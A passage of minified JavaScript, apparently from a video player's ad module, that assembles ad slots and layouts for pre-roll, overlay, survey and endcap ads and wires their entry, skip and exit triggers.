H=Object.assign({},E,t,{renderingContent:l.renderingContent,uN:new Map,FV:qN(H,I)(E),clientMetadata:new sn(u),adLayoutLoggingData:l.adLayoutMetadata.adLayoutLoggingData});return Object.assign({},I,{fulfilledLayout:H,clientMetadata:new sn([])})}};
al3=function(x,T){var t=[];t.push(new O7(tb(x)));t.push(new et(T.layoutId));(x=uS(T.clientMetadata,"metadata_type_player_bytes_callback_ref"))&&t.push(new RH(x));(x=uS(T.clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref"))&&t.push(new XS(x));(x=uS(T.clientMetadata,"metadata_type_remote_slots_data"))&&t.push(new g8(x));(x=uS(T.clientMetadata,"metadata_type_ad_next_params"))&&t.push(new WC(x));(x=uS(T.clientMetadata,"metadata_type_ad_video_clickthrough_endpoint"))&&t.push(new Dl(x));(x=
uS(T.clientMetadata,"metadata_type_ad_pod_info"))&&t.push(new fO(x));(T=uS(T.clientMetadata,"metadata_type_ad_video_id"))&&t.push(new xt(T));return t};
LsD=function(x,T,t,u,H,I){function E(l){return HA(T,l)}
var Z=u.NG.inPlayerSlotId,e={layoutId:u.NG.inPlayerLayoutId,layoutType:"LAYOUT_TYPE_ENDCAP",Yc:"core"};t={slotId:Z,slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,Yc:"core",slotEntryTrigger:new FN(E,x),slotFulfillmentTriggers:[new CV(E,Z)],slotExpirationTriggers:[new Qk(E,Z),new yk(E,t)]};x=Object.assign({},e,{layoutExitNormalTriggers:[new v1(E,x)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],uN:new Map,clientMetadata:new sn([new IH(u.NG),
new O7(u.adPlacementConfig),H]),FV:qN(I,t)(e),adLayoutLoggingData:u.NG.adLayoutLoggingData});return Object.assign({},t,{clientMetadata:new sn([new Lc(x)])})};
nQH=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next())if(t=t.value,t.adSlotMetadata.slotType==="SLOT_TYPE_PLAYER_UNDERLAY"){var u=g.N(t.fulfillmentContent.fulfilledLayout,kY);if(u&&(u=g.N(u.renderingContent,rz))&&u.associatedPlayerBytesLayoutId===x)return t}};
Adm=function(x,T,t,u,H){var I=gQH(Dh(x.slotEntryTrigger,t,u),H,x,T);if(I instanceof w)return I;for(var E=[],Z=g.S(x.slotFulfillmentTriggers),e=Z.next();!e.done;e=Z.next()){e=Dh(e.value,t,u);if(e instanceof w)return e;E.push(e)}E=B33(E,H,x,T);T=[];x=g.S(x.slotExpirationTriggers);for(H=x.next();!H.done;H=x.next()){H=Dh(H.value,t,u);if(H instanceof w)return H;T.push(H)}return{slotEntryTrigger:I,slotFulfillmentTriggers:E,slotExpirationTriggers:T}};
gQH=function(x,T,t,u){return T&&t.adSlotMetadata.slotType==="SLOT_TYPE_PLAYER_BYTES"&&x instanceof b_?new Y_(function(H){return HA(u,H)},t.adSlotMetadata.slotId):x};
B33=function(x,T,t,u){return T&&t.adSlotMetadata.slotType==="SLOT_TYPE_PLAYER_BYTES"?x.map(function(H){return H instanceof CV?new fV(function(I){return HA(u,I)},t.adSlotMetadata.slotId):H}):x};
o8=function(x,T,t){for(var u=[],H=g.S(x.layoutExitNormalTriggers||[]),I=H.next();!I.done;I=H.next()){I=Dh(I.value,T,t);if(I instanceof w)return I;u.push(I)}H=[];I=g.S(x.layoutExitSkipTriggers||[]);for(var E=I.next();!E.done;E=I.next()){E=Dh(E.value,T,t);if(E instanceof w)return E;H.push(E)}I=[];E=g.S(x.layoutExitMuteTriggers||[]);for(var Z=E.next();!Z.done;Z=E.next()){Z=Dh(Z.value,T,t);if(Z instanceof w)return Z;I.push(Z)}E=[];x=g.S(x.layoutExitUserInputSubmittedTriggers||[]);for(Z=x.next();!Z.done;Z=
x.next()){Z=Dh(Z.value,T,t);if(Z instanceof w)return Z;E.push(Z)}return{layoutExitNormalTriggers:u,layoutExitSkipTriggers:H,layoutExitMuteTriggers:I,layoutExitUserInputSubmittedTriggers:E,Aq:[]}};
s8=function(x){var T=g.N(x.renderingContent,jA);if(T==null?0:T.pings)return r6(T.pings);x=g.N(x.renderingContent,Eq);return(x==null?0:x.skipPings)?new Map([["skip",x.skipPings]]):new Map};
FsD=function(x,T,t,u,H){T=g.N(T.renderingContent,jA);if(!T)return new w("Invalid rendering content for DAI media layout");x=[new TX(u),new Yt(t.r8.videoLengthSeconds),new Uv(t.r8.playerVars),new zX(t.q9),new kt(t.FC),new F7(t.xK),new O7(tb(x)),new xt(t.r8.adVideoId),new fO(t.CT),T.sodarExtensionData&&new r8(T.sodarExtensionData),new RH({current:null}),new hx({}),new QC(bB(T.pings))].filter(MG3);H!==void 0&&x.push(new GX(H));return x};
k_f=function(x,T,t){x=x.map(function(e){return fx(g.N(e.renderingContent,jA),!1)});
var u=x.map(function(e){return e.videoLengthSeconds}),H=u.map(function(e,l){return new UO(l,u)}),I=T,E=t,Z=[];
x.forEach(function(e,l){E=Math.min(I+e.videoLengthSeconds*1E3,t);yr(e.playerVars,H[l]);Z.push({r8:e,q9:I,FC:E,xK:l,CT:H[l]});I=E});
return Z};
hQ3=function(x,T,t){for(var u=[],H=g.S(x),I=H.next();!I.done;I=H.next())if(I=g.N(I.value.renderingContent,jA)){if(!EF(I))return new w("Invalid vod media renderer");u.push(Ws3(I))}H=u.map(function(d){return d.E9});
I=[];for(var E=0,Z=0;Z<x.length;Z++){var e=g.N(x[Z].renderingContent,jA);if(e){var l=new UO(E,H),m=Kx(u[E].playerVars,u[E].Iw,T,t,l);I[Z]={CT:l,adPodSkipTarget:e.adPodSkipTarget,NNm:u[E],qh:m};E++}}return I};
Ws3=function(x){var T=o6(x.playerVars),t=Number(T.length_seconds);isNaN(t)&&(t=0,E3("Expected valid length seconds in player vars but got NaN"));return{playerVars:T,Iw:x.playerVars,E9:t}};
tb=function(x){switch(x){case "SLOT_TRIGGER_EVENT_LAYOUT_ID_ENTERED":return{kind:"AD_PLACEMENT_KIND_LAYOUT_ID_ENTERED"};case "SLOT_TRIGGER_EVENT_BEFORE_CONTENT":return{kind:"AD_PLACEMENT_KIND_START"};case "SLOT_TRIGGER_EVENT_CONTENT_OFFSET":return{kind:"AD_PLACEMENT_KIND_MILLISECONDS"};case "SLOT_TRIGGER_EVENT_AFTER_CONTENT":return{kind:"AD_PLACEMENT_KIND_END"};case "SLOT_TRIGGER_EVENT_CONTENT_PAUSED":return{kind:"AD_PLACEMENT_KIND_PAUSE"};default:return{kind:"AD_PLACEMENT_KIND_UNKNOWN"}}};
bOV=function(x){if(g.N(x.renderingContent,sF)){var T;return((T=g.N(x.renderingContent,sF))==null?void 0:T.impressionPings)||[]}if(g.N(x.renderingContent,oj)){var t;return((t=g.N(x.renderingContent,oj))==null?void 0:t.impressionPings)||[]}if(g.N(x.renderingContent,t4)){var u;return((u=g.N(x.renderingContent,t4))==null?void 0:u.impressionPings)||[]}return[]};
ydi=function(x,T,t,u,H,I,E,Z,e){var l=t.pings;return l?[Dlm(x,I,Z,H,function(m){var d=m.slotId;m=e(m);var M=t.adLayoutLoggingData,A=t.progressCommands;d=On(T.Z.get(),"LAYOUT_TYPE_DISCOVERY_PLAYBACK_TRACKER",d);var R={layoutId:d,layoutType:"LAYOUT_TYPE_DISCOVERY_PLAYBACK_TRACKER",Yc:"core"},Y=r6(l),b=[new yk(T.C,I)],z;var F=l==null?void 0:(z=l.activeViewTracking)==null?void 0:z.identifier;return{layoutId:d,layoutType:"LAYOUT_TYPE_DISCOVERY_PLAYBACK_TRACKER",uN:Y,layoutExitNormalTriggers:b,layoutExitSkipTriggers:[],
layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new O7(u),new QC(bB(l)),new pc(F),new Yt(E/1E3),new Nc({progressCommands:A}),new Bl(E/1E3)]),FV:m(R),adLayoutLoggingData:M}})]:new w("VideoAdTrackingRenderer without VideoAdTracking pings filled.",{videoAdTrackingRenderer:t})};
Jdi=function(x,T,t,u,H,I,E,Z){x=N3V(x,t,I,E,u,function(e){var l=e.slotId;e=Z(e);l=On(T.Z.get(),"LAYOUT_TYPE_FORECASTING",l);var m={layoutId:l,layoutType:"LAYOUT_TYPE_FORECASTING",Yc:"core"},d=new Map,M=H.impressionUrls;M&&d.set("impression",M);return{layoutId:l,layoutType:"LAYOUT_TYPE_FORECASTING",uN:d,layoutExitNormalTriggers:[new Df(T.C,l)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new VC(H),new O7(t)]),FV:e(m)}});
return x instanceof w?x:[x]};
QO3=function(x,T,t,u,H,I,E){return[C1X(x,I,u,function(Z){var e=Z.slotId;Z=E(Z);e=On(T.Z.get(),"LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY",e);var l={layoutId:e,layoutType:"LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY",Yc:"core"};return{layoutId:e,layoutType:"LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY",uN:new Map,layoutExitNormalTriggers:[new yk(T.C,I)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new oH(H),new O7(t)]),FV:Z(l),
adLayoutLoggingData:H.adLayoutLoggingData}})]};
OO4=function(x,T,t,u,H,I,E,Z){x=pCi(x,t,I,E,u,function(e,l){var m=e.slotId;e=Z(e);var d=H.contentSupportedRenderer;d?d.textOverlayAdContentRenderer?(d=On(T.Z.get(),"LAYOUT_TYPE_IN_VIDEO_TEXT_OVERLAY",m),l=I8(T,d,"LAYOUT_TYPE_IN_VIDEO_TEXT_OVERLAY",H,t,e,E8(T,l,m))):d.enhancedTextOverlayAdContentRenderer?(d=On(T.Z.get(),"LAYOUT_TYPE_IN_VIDEO_ENHANCED_TEXT_OVERLAY",m),l=I8(T,d,"LAYOUT_TYPE_IN_VIDEO_ENHANCED_TEXT_OVERLAY",H,t,e,E8(T,l,m))):d.imageOverlayAdContentRenderer?(d=On(T.Z.get(),"LAYOUT_TYPE_IN_VIDEO_IMAGE_OVERLAY",
m),l=E8(T,l,m),l.push(new XN(T.C,45E3,d)),l=I8(T,d,"LAYOUT_TYPE_IN_VIDEO_IMAGE_OVERLAY",H,t,e,l)):l=new th("InvideoOverlayAdRenderer without appropriate sub renderer"):l=new th("InvideoOverlayAdRenderer without contentSupportedRenderer");return l});
return x instanceof w?x:[x]};
Ksi=function(x,T,t,u,H,I,E,Z,e){var l=Number(u.durationMilliseconds);return isNaN(l)?new w("Expected valid duration for AdActionInterstitialRenderer."):function(m){return flJ(T,m.slotId,t,u,l,{impressionCommands:void 0,abandonCommands:u.abandonCommands?[{commandExecutorCommand:u.abandonCommands}]:void 0,completeCommands:u.completionCommands},u.skipPings?new Map([["skip",u.skipPings]]):new Map,E(m),function(d){return wCf(x,d,H,function(M,A){var R=M.slotId;M=E(M);R=On(T.Z.get(),"LAYOUT_TYPE_ENDCAP",
R);return OF(T,R,A,t,M,"LAYOUT_TYPE_ENDCAP",[new IH(u),Z],u.adLayoutLoggingData)})},e,I-1,u.adLayoutLoggingData,I)}};
XC3=function(x,T,t,u){if(!t.playerVars)return new w("No playerVars available in AdIntroRenderer.");var H=o6(t.playerVars);H.autoplay="1";return function(I){var E=I.slotId;I=u(I);E=On(x.Z.get(),"LAYOUT_TYPE_MEDIA",E);var Z={layoutId:E,layoutType:"LAYOUT_TYPE_MEDIA",Yc:"adapter"};return{BU:{layoutId:E,layoutType:"LAYOUT_TYPE_MEDIA",uN:new Map,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"adapter",clientMetadata:new sn([new vl({}),
new O7(T),new RH({current:null}),new Uv(H)]),FV:I(Z)},Qh:[new hO(x.C,E,["error"])],ut:[],Kq:[],je:[]}}};
T8D=function(x,T,t,u,H,I,E,Z,e,l){l=l===void 0?!1:l;var m=Qr(H);if(!MSv(H,l))return new w("Received invalid InstreamSurveyAdRenderer for VOD composite survey.",{InstreamSurveyAdRenderer:H});if(m<=0)return new w("InstreamSurveyAdRenderer should have valid duration.",{instreamSurveyAdRenderer:H});var d=Di3(x,T,H,I,t,u,E);return d instanceof w?d:function(M){return xci(T,M.slotId,t,m,H,px(H),E(M),d,Z,e)}};
ot4=function(x,T,t,u,H,I,E,Z){function e(d){return wCf(x,d,u,l)}
function l(d,M){var A=d.slotId;d=E(d);A=On(T.Z.get(),"LAYOUT_TYPE_VIDEO_INTERSTITIAL_BUTTONED_LEFT",A);return OF(T,A,M,t,d,"LAYOUT_TYPE_VIDEO_INTERSTITIAL_BUTTONED_LEFT",[new Ev(H),I],H.adLayoutLoggingData)}
if(!S6m(H))return new w("Received invalid SurveyTextInterstitialRenderer.",{SurveyTextInterstitialRenderer:H});var m=H.timeoutSeconds*1E3;return function(d){var M=d.slotId,A={impressionCommands:H.impressionCommands,completeCommands:H.timeoutCommands,skipCommands:H.dismissCommands};d=E(d);M=qT(T,M,t,m,A,new Map,d,e,void 0,ZW(T,t,H.layoutId,"createSubLayoutVodMediaBreakLayoutForSurveyInterstitial"));A=new l0(M.I0);d=new w3(Z);return{BU:{layoutId:M.layoutId,layoutType:M.layoutType,uN:M.uN,layoutExitNormalTriggers:[],
layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:M.Yc,clientMetadata:new sn([].concat(g.U(M.Eh),[A,d])),FV:M.FV,adLayoutLoggingData:M.adLayoutLoggingData},Qh:[],ut:M.layoutExitMuteTriggers,Kq:M.layoutExitUserInputSubmittedTriggers,je:M.Aq,Wt:M.Wt}}};
sHD=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y){x=d6(x,"SLOT_TYPE_PLAYER_BYTES");u=$lJ(T,E,u,H,x,l,m);if(u instanceof w)return u;var b;E=(b=uS(u.clientMetadata,"metadata_type_fulfilled_layout"))==null?void 0:b.layoutId;if(!E)return new w("Invalid adNotify layout");T=ttH(E,T,t,H,I,e,Z,l,d,M,A,R,Y);return T instanceof w?T:[u].concat(g.U(T))};
ttH=function(x,T,t,u,H,I,E,Z,e,l,m,d,M){t=u74(T,t,u,I,E,Z,e,l,m,d,M);$c3(I)?(u=Hc4(T,x),x=d6(T.Z.get(),"SLOT_TYPE_IN_PLAYER"),I=On(T.Z.get(),"LAYOUT_TYPE_SURVEY",x),Z=js(T,u,Z),T=[].concat(g.U(Z.slotExpirationTriggers),[new rL(T.C,I)]),x=t({slotId:Z.slotId,slotType:Z.slotType,slotPhysicalPosition:Z.slotPhysicalPosition,slotEntryTrigger:Z.slotEntryTrigger,slotFulfillmentTriggers:Z.slotFulfillmentTriggers,slotExpirationTriggers:T,Yc:Z.Yc},{slotId:x,layoutId:I}),H=x instanceof w?x:{Tu:Object.assign({},
Z,{slotExpirationTriggers:T,clientMetadata:new sn([new Lc(x.layout)]),adSlotLoggingData:H}),nF:x.nF}):H=EQv(T,x,Z,H,t);return H instanceof w?H:[].concat(g.U(H.nF),[H.Tu])};
I43=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A){T=u74(x,T,t,H,I,E,e,l,m,d,M,A);$c3(H)?(H=ic5(x,t,E,Z),H instanceof w?x=H:(Z=d6(x.Z.get(),"SLOT_TYPE_IN_PLAYER"),e=On(x.Z.get(),"LAYOUT_TYPE_SURVEY",Z),E=[].concat(g.U(H.slotExpirationTriggers),[new rL(x.C,e)]),Z=T({slotId:H.slotId,slotType:H.slotType,slotPhysicalPosition:H.slotPhysicalPosition,Yc:H.Yc,slotEntryTrigger:H.slotEntryTrigger,slotFulfillmentTriggers:H.slotFulfillmentTriggers,slotExpirationTriggers:E},{slotId:Z,layoutId:e}),x=Z instanceof w?Z:{Tu:{slotId:H.slotId,
slotType:H.slotType,slotPhysicalPosition:H.slotPhysicalPosition,slotEntryTrigger:es(x,t,H.slotId,H.slotEntryTrigger),slotFulfillmentTriggers:ln(x,t,H.slotId,H.slotFulfillmentTriggers),slotExpirationTriggers:E,Yc:H.Yc,clientMetadata:new sn([new fc(mk(t)),new Lc(Z.layout),new Kc({hK:x.hK(t)})]),adSlotLoggingData:u},nF:Z.nF})):x=q7i(x,t,E,Z,u,e.B9,T);return x instanceof w?x:x.nF.concat(x.Tu)};
$c3=function(x){x=g.S(x);for(var T=x.next();!T.done;T=x.next())if(g.N(T.value,lC))return!0;return!1};
u74=function(x,T,t,u,H,I,E,Z,e,l,m,d){return function(M,A){if(Li(m)&&ni(m))a:{var R=EtJ(u,t,m);if(R instanceof w)A=R;else{for(var Y=0,b=[],z=[],F=[],V=[],B=[],D=[],f=new Pl({current:null}),O=new XS({current:null}),sH=!1,HX=[],xq=0,J=[],X=0;X<u.length;X++){var c=u[X],C=g.N(c,jA);if(C){C=wz(C,t,m);if(C instanceof th){A=new w(C);break a}var WX=new UO(xq,R),PE=Kx(C.playerVars,C.Iw,E,l,WX);xq++;J[X]={renderer:c,data:C,CT:WX,qh:PE}}}xq=-1;for(R=0;R<u.length;R++)if(X=u[R],c=g.N(X,eA)){X=XC3(T,t,c,Z);if(X instanceof
w){A=X;break a}X=X(M);b.push(X.BU);z=[].concat(g.U(X.Qh),g.U(z));F=[].concat(g.U(X.ut),g.U(F));X.Wt&&(HX=[X.Wt].concat(g.U(HX)))}else if(g.N(X,jA))c=J[R],xq=c.data,X=c.CT,c=c.qh,C=J[R+1],WX=void 0,C&&(WX=C.qh),X=qvV(T,xq.layoutId,xq.A8,t,c,xq.E9,I,X,Z(M),O,e.get(xq.A8.externalVideoId),WX,d),Y++,b.push(X.BU),z=[].concat(g.U(X.Qh),g.U(z)),F=[].concat(g.U(X.ut),g.U(F)),sH||(D.push(O),sH=!0),xq=(xq=xq.A8.adPodSkipTarget)&&xq>0?xq:-1;else if(c=g.N(X,Eq)){X=Ksi(x,T,t,c,I,Y,Z,O,xq);if(X instanceof w){A=
X;break a}X=X(M);b.push(X.BU);z=[].concat(g.U(X.Qh),g.U(z));F=[].concat(g.U(X.ut),g.U(F));X.Wt&&(HX=[X.Wt].concat(g.U(HX)))}else if(c=g.N(X,lC)){if(A===void 0){A=new w("Composite Survey must already have a Survey Bundle with required metadata.",{instreamSurveyAdRenderer:c});break a}X=T8D(x,T,t,I,c,f,Z,A,Y,pG(m,"supports_multi_step_on_desktop"));if(X instanceof w){A=X;break a}X=X(M);b.push(X.BU);X.Wt&&HX.push(X.Wt);z=[].concat(g.U(X.Qh),g.U(z));F=[].concat(g.U(X.ut),g.U(F));V=[].concat(g.U(X.Kq),g.U(V));
B=[].concat(g.U(X.je),g.U(B));D=[f].concat(g.U(D))}else if(X=g.N(X,cb)){X=ot4(x,T,t,I,X,f,Z,Y);if(X instanceof w){A=X;break a}X=X(M);b.push(X.BU);X.Wt&&HX.push(X.Wt);F=[].concat(g.U(X.ut),g.U(F))}else{A=new w("Unsupported linearAd found in LinearAdSequenceRenderer.");break a}A={RC:b,layoutExitSkipTriggers:z,layoutExitUserInputSubmittedTriggers:V,Aq:B,layoutExitMuteTriggers:F,Eh:D,nF:HX}}}else a:if(Y=EtJ(u,t,m),Y instanceof w)A=Y;else{b=0;z=[];F=[];V=[];B=[];D=[];f=[];O=new Pl({current:null});sH=new XS({current:null});
HX=!1;J=[];xq=-1;R=g.S(u);for(X=R.next();!X.done;X=R.next())if(X=X.value,g.N(X,eA)){X=XC3(T,t,g.N(X,eA),Z);if(X instanceof w){A=X;break a}X=X(M);z.push(X.BU);F=[].concat(g.U(X.Qh),g.U(F));V=[].concat(g.U(X.ut),g.U(V));X.Wt&&(J=[X.Wt].concat(g.U(J)))}else if(g.N(X,jA)){xq=wz(g.N(X,jA),t,m);if(xq instanceof th){A=new w(xq);break a}X=new UO(b,Y);X=qvV(T,xq.layoutId,xq.A8,t,Kx(xq.playerVars,xq.Iw,E,l,X),xq.E9,I,X,Z(M),sH,e.get(xq.A8.externalVideoId),void 0,d);b++;z.push(X.BU);F=[].concat(g.U(X.Qh),g.U(F));
V=[].concat(g.U(X.ut),g.U(V));HX||(f.push(sH),HX=!0);xq=(xq=xq.A8.adPodSkipTarget)&&xq>0?xq:-1}else if(g.N(X,Eq)){X=Ksi(x,T,t,g.N(X,Eq),I,b,Z,sH,xq);if(X instanceof w){A=X;break a}X=X(M);z.push(X.BU);F=[].concat(g.U(X.Qh),g.U(F));V=[].concat(g.U(X.ut),g.U(V));X.Wt&&(J=[X.Wt].concat(g.U(J)))}else if(g.N(X,lC)){if(A===void 0){A=new w("Composite Survey must already have a Survey Bundle with required metadata.",{instreamSurveyAdRenderer:g.N(X,lC)});break a}X=T8D(x,T,t,I,g.N(X,lC),O,Z,A,b,pG(m,"supports_multi_step_on_desktop"));
if(X instanceof w){A=X;break a}X=X(M);z.push(X.BU);X.Wt&&J.push(X.Wt);F=[].concat(g.U(X.Qh),g.U(F));V=[].concat(g.U(X.ut),g.U(V));B=[].concat(g.U(X.Kq),g.U(B));D=[].concat(g.U(X.je),g.U(D));f=[O].concat(g.U(f))}else if(g.N(X,cb)){X=ot4(x,T,t,I,g.N(X,cb),O,Z,b);if(X instanceof w){A=X;break a}X=X(M);z.push(X.BU);X.Wt&&J.push(X.Wt);V=[].concat(g.U(X.ut),g.U(V))}else{A=new w("Unsupported linearAd found in LinearAdSequenceRenderer.");break a}A={RC:z,layoutExitSkipTriggers:F,layoutExitUserInputSubmittedTriggers:B,
Aq:D,layoutExitMuteTriggers:V,Eh:f,nF:J}}A instanceof w?M=A:(D=M.slotId,Y=A.RC,b=A.layoutExitSkipTriggers,z=A.layoutExitMuteTriggers,F=A.layoutExitUserInputSubmittedTriggers,V=A.Eh,M=Z(M),B=H?H.layoutType:"LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES",D=H?H.layoutId:On(T.Z.get(),B,D),f={layoutId:D,layoutType:B,Yc:"core"},M={layout:{layoutId:D,layoutType:B,uN:new Map,layoutExitNormalTriggers:[new Df(T.C,D)],layoutExitSkipTriggers:b,layoutExitMuteTriggers:z,layoutExitUserInputSubmittedTriggers:F,Aq:[],Yc:"core",
clientMetadata:new sn([new St(Y)].concat(g.U(V))),FV:M(f)},nF:A.nF});return M}};
EtJ=function(x,T,t){var u=[];x=g.S(x);for(var H=x.next();!H.done;H=x.next())if(H=H.value,g.N(H,jA)){H=wz(g.N(H,jA),T,t);if(H instanceof th)return new w(H);u.push(H.E9)}return u};
jHf=function(x,T,t,u,H,I,E,Z){if(!MSv(t,Z===void 0?!1:Z))return new w("Received invalid InstreamSurveyAdRenderer for VOD single survey.",{InstreamSurveyAdRenderer:t});var e=Qr(t);if(e<=0)return new w("InstreamSurveyAdRenderer should have valid duration.",{instreamSurveyAdRenderer:t});var l=new Pl({current:null}),m=Di3(x,T,t,l,u,I,E);return Zc5(x,u,I,e,H,function(d,M){var A=d.slotId,R=px(t);d=E(d);var Y,b=(Y=ZW(T,u,t.layoutId,"createMediaBreakLayoutAndAssociatedInPlayerSlotForVodSurvey"))!=null?Y:
On(T.Z.get(),"LAYOUT_TYPE_MEDIA_BREAK",A);A={layoutId:b,layoutType:"LAYOUT_TYPE_MEDIA_BREAK",Yc:"core"};Y=m(b,M);var z=uS(Y.clientMetadata,"metadata_type_fulfilled_layout");z||E3("Could not retrieve overlay layout ID during VodMediaBreakLayout for survey creation. This should never happen.");R=[new O7(u),new Wl(e),new Nc(R),l];z&&R.push(new d8(z.layoutType));return{QfZ:{layoutId:b,layoutType:"LAYOUT_TYPE_MEDIA_BREAK",uN:new Map,layoutExitNormalTriggers:[new Df(T.C,b)],layoutExitSkipTriggers:[new JO(T.C,
M.layoutId)],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[new KV(T.C,M.layoutId)],Aq:[],Yc:"core",clientMetadata:new sn(R),FV:d(A)},ByQ:Y}})};
e6f=function(x){if(!PDf(x))return!1;var T=g.N(x.adVideoStart,dZ);return T?g.N(x.linearAd,jA)&&iC(T)?!0:(E3("Invalid Sandwich with notify"),!1):!1};
l4J=function(x){if(x.linearAds==null)return!1;x=g.N(x.adStart,dZ);return x?iC(x)?!0:(E3("Invalid LASR with notify"),!1):!1};
mc5=function(x){if(!R1X(x))return!1;x=g.N(x.adStart,dZ);return x?iC(x)?!0:(E3("Invalid LASR with notify"),!1):!1};
MT=function(x,T,t,u,H,I,E,Z,e,l){this.K=x;this.Z=T;this.C=t;this.Lf=u;this.xx=H;this.j=I;this.IU=E;this.UU=Z;this.wN=e;this.loadPolicy=l===void 0?1:l};
bnq=function(x,T,t,u,H,I,E,Z,e,l){var m=[];if(T.length===0&&u.length===0&&t.length===0)return m;T=T.filter(Ij);var d=t.filter(l75),M=u.filter(Ij),A=new Map,R=dlX(T),Y=t.some(function(C){var WX;return(C==null?void 0:(WX=C.adSlotMetadata)==null?void 0:WX.slotType)==="SLOT_TYPE_PLAYER_BYTES"}),b=t.some(function(C){var WX;
return(C==null?void 0:(WX=C.adSlotMetadata)==null?void 0:WX.slotType)==="SLOT_TYPE_PLAYER_UNDERLAY"}),z=t.some(function(C){var WX;
return(C==null?void 0:(WX=C.adSlotMetadata)==null?void 0:WX.slotType)==="SLOT_TYPE_IN_PLAYER"}),F=t.some(function(C){var WX,PE;
return(C==null?void 0:(WX=C.adSlotMetadata)==null?void 0:WX.slotType)==="SLOT_TYPE_BELOW_PLAYER"||(C==null?void 0:(PE=C.adSlotMetadata)==null?void 0:PE.slotType)==="SLOT_TYPE_ABOVE_FEED"});
t=t.some(function(C){var WX;return(C==null?void 0:(WX=C.adSlotMetadata)==null?void 0:WX.slotType)==="SLOT_TYPE_PLAYER_BYTES_SEQUENCE_ITEM"});
if(Y||b||z||F||t)l=UlV(d,T,Z,H,R,x.xx.get(),x.loadPolicy,A,x.Lf.get(),x.K.get(),z,E,e,l),l instanceof w?E3(l,void 0,void 0,{contentCpn:H}):m.push.apply(m,g.U(l));l=g.S(T);for(t=l.next();!t.done;t=l.next())t=t.value,b=dc4(x,A,t,H,I,E,Y,Z,R,e,d),b instanceof w?E3(b,void 0,void 0,{renderer:t.renderer,config:t.config.adPlacementConfig,kind:t.config.adPlacementConfig.kind,contentCpn:H,daiEnabled:E}):m.push.apply(m,g.U(b));MtC(x.Lf.get())||(I=Axm(x,M,H,Z,R,A),m.push.apply(m,g.U(I)));if(x.j===null||E&&!Z.Jk){var V,
B,D;x=Z.B9&&T.length===1&&((V=T[0].config)==null?void 0:(B=V.adPlacementConfig)==null?void 0:B.kind)==="AD_PLACEMENT_KIND_CUE_POINT_TRIGGERED"&&((D=T[0].renderer)==null?void 0:D.adBreakServiceRenderer);if(!m.length&&!x){var f,O,sH,HX;E3("Expected slots parsed from AdPlacementRenderers for DAI",void 0,void 0,{"AdPlacementRenderer count":T.length,contentCpn:H,"first APR kind":(f=T[0])==null?void 0:(O=f.config)==null?void 0:(sH=O.adPlacementConfig)==null?void 0:sH.kind,renderer:(HX=T[0])==null?void 0:
HX.renderer})}return m}V=u.filter(Ij);m.push.apply(m,g.U(ggC(A,V,x.Z.get(),x.j,H,Y)));if(!m.length){var xq,J,X,c;E3("Expected slots parsed from AdPlacementRenderers",void 0,void 0,{"AdPlacementRenderer count":T.length,contentCpn:H,daiEnabled:E.toString(),"first APR kind":(xq=T[0])==null?void 0:(J=xq.config)==null?void 0:(X=J.adPlacementConfig)==null?void 0:X.kind,renderer:(c=T[0])==null?void 0:c.renderer})}return m};
Axm=function(x,T,t,u,H,I){function E(M){return qN(x.xx.get(),M)}
var Z=[];T=g.S(T);for(var e=T.next();!e.done;e=T.next()){e=e.value;var l=e.renderer,m=l.sandwichedLinearAdRenderer,d=l.linearAdSequenceRenderer;m&&e6f(m)?(E3("Found AdNotify with SandwichedLinearAdRenderer"),d=g.N(m.adVideoStart,dZ),m=g.N(m.linearAd,jA),NJ(I,l,e.config.adPlacementConfig.kind),l=void 0,d=HO5((l=d)==null?void 0:l.layout.layoutId,x.Z.get(),x.C.get(),e.config.adPlacementConfig,e.adSlotLoggingData,m,t,u,E,H,x.loadPolicy,x.Lf.get(),x.xx.get()),d instanceof w?E3(d):Z.push.apply(Z,g.U(d))):
d&&(!d.adLayoutMetadata&&l4J(d)||d.adLayoutMetadata&&mc5(d))&&(E3("Found AdNotify with LinearAdSequenceRenderer"),NJ(I,l,e.config.adPlacementConfig.kind),l=void 0,m=ttH((l=g.N(d.adStart,dZ))==null?void 0:l.layout.layoutId,x.Z.get(),x.C.get(),e.config.adPlacementConfig,e.adSlotLoggingData,d.linearAds,TO(d.adLayoutMetadata)?d.adLayoutMetadata:void 0,t,u,E,H,x.loadPolicy,x.Lf.get()),m instanceof w?E3(m):Z.push.apply(Z,g.U(m)))}return Z};
dc4=function(x,T,t,u,H,I,E,Z,e,l,m){function d(z){return qN(x.xx.get(),z)}
var M=t.renderer,A=t.config.adPlacementConfig,R=A.kind,Y=t.adSlotLoggingData,b=Z.Jk&&R==="AD_PLACEMENT_KIND_START";b=I&&!b;if(M.adsEngagementPanelRenderer!=null)return Cx(T,t.elementId,R,M.adsEngagementPanelRenderer.isContentVideoEngagementPanel,M.adsEngagementPanelRenderer.adVideoId,M.adsEngagementPanelRenderer.associatedCompositePlayerBytesLayoutId,A,Y,function(z,F,V,B){var D=x.C.get(),f=z.slotId,O=M.adsEngagementPanelRenderer;z=qN(x.xx.get(),z);return Ab(D,f,"LAYOUT_TYPE_PANEL_TEXT_ICON_IMAGE_TILES_BUTTON",
